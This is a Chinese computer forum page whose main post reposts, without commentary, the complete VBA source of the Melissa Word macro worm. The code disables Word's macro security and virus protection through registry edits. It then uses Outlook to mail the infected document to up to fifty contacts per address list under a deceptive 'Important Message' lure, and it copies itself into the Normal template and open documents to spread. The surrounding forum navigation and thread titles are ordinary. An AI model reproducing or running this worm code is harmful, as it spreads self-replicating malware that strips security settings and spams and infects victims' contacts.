• 计算机讨论版
  • 电脑诊所
  • 菜鸟学院
  • 软件世界
  • 安全专区
  • 硬件世界
  • 网络世界
  • 网页设计
  • 图像设计
  • 程序设计
  • 操作系统
  • 计算机考试
  • 电脑故障
  • 电脑学习
  • 电脑技术
  • 电脑入门
  • 计算机知识
  • 电脑之家
  • 故障诊断
  • 电脑医院
  • 电脑学校
  • 电脑维护
  • 电脑医生
  • 电脑问答
  • 计算机问题
  • 电脑小知识
  • 电脑软件
  • 电脑diy
  • 你问我答
  • 网友俱乐部
  • 实用技巧
  • 初级应用
  • 心得分享
  • 软硬兼施
  • 电脑之家
  • 维护资料
  • 软件应用
  • 软件交流
  • 电脑硬件
  • 硬件知识
  • 电脑网络
  • windows
  • 程序设计

    程序设计
    ·请教如何用asp弄的图片刷新显示
    ·vc++如何立即重绘窗口?
    ·帮帮忙~TD有win2000下的编译和连接程序么~
    ·[分享]Enc-Base64位加密程序源代码上
    ·Enc-Base64位加密程序源代码下[分享]
    ·哪里有下vb6软件和vb6教程的?
    ·需要两段代码,希望有人帮忙
    ·+++++++++关于cpu利用率滴c程序,各位c大...
    ·请问一个关于c语言的菜问题
    ·小菜一问  !
    ·关于DAO
    ·直接通过ODBCAPI访问SQL数据库(一)
    ·有没有什么地方下载ASP论坛源代码的啊
    ·关于算法
    ·win 2003的IIS
    ·[原创]如何取得计算机名
    ·各位大虾帮帮忙了
    ·[求助]关于vb
    ·SQL和VB的问题
    ·我提一下意见,关于板块的改进!
    ·请教一个入门问题,ACCESS
    ·[注意]    寻找编程爱好者!!!
    ·ACCESS 小问题?,先谢了!!
    ·新手请教个问题
    ·关于VB语言和怎样学习VB
    ·初学者的一个问题
    ·关于查找恶意代码的问题
    ·[求助]谁知道pb教程
    ·[请教]XML一共是由哪些部分组成的?
    ·[求助]初学者

    Melissa的源码[转帖]

    类别: 程序设计  时间: 2007.03.15

    小鸟伊人
    Melissa的源码[转帖]
    Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
      CommandBars("Macro").Controls("Security...").Enabled = False
      System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
      CommandBars("Tools").Controls("Macro").Enabled = False
      Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
    End If

    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
      If UngaDasOutlook = "Outlook" Then
        DasMapiName.Logon "profile", "password"
        For y = 1 To DasMapiName.AddressLists.Count
            Set AddyBook = DasMapiName.AddressLists(y)
            x = 1
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
            For oo = 1 To AddyBook.AddressEntries.Count
                Peep = AddyBook.AddressEntries(x)
                BreakUmOffASlice.Recipients.Add Peep
                x = x + 1
                If x > 50 Then oo = AddyBook.AddressEntries.Count
             Next oo
             BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
             BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
             BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
             BreakUmOffASlice.Send
             Peep = ""
        Next y
        DasMapiName.Logoff
      End If
      System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
    End If


    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
      If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
      Set ToInfect = ADI1
      ADI1.Name = "Melissa"
      DoAD = True
    End If

    If NTI1.Name <> "Melissa" Then
      If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
      Set ToInfect = NTI1
      NTI1.Name = "Melissa"
      DoNT = True
    End If
        
    If DoNT <> True And DoAD <> True Then GoTo CYA

    If DoNT = True Then
      Do While ADI1.CodeModule.Lines(1, 1) = ""
        ADI1.CodeModule.DeleteLines 1
      Loop
      ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
      Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
      Loop
    End If
      
    If DoAD = True Then
      Do While NTI1.CodeModule.Lines(1, 1) = ""
        NTI1.CodeModule.DeleteLines 1
      Loop
      ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
      Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
      Loop
    End If

    CYA:

    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
      ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
      ActiveDocument.Saved = True 
    End If

    'WORD/Melissa written by Kwyjibo
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

    If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
    End Sub


    上一篇:请教如何用asp弄的图片刷新显示 下一篇:[原创]如何取得计算机名

    计算机讨论版 © 版权所有

    提示:计算机讨论版致力于电脑信息的分享与传播,内容仅供参考,按此操作责任自负。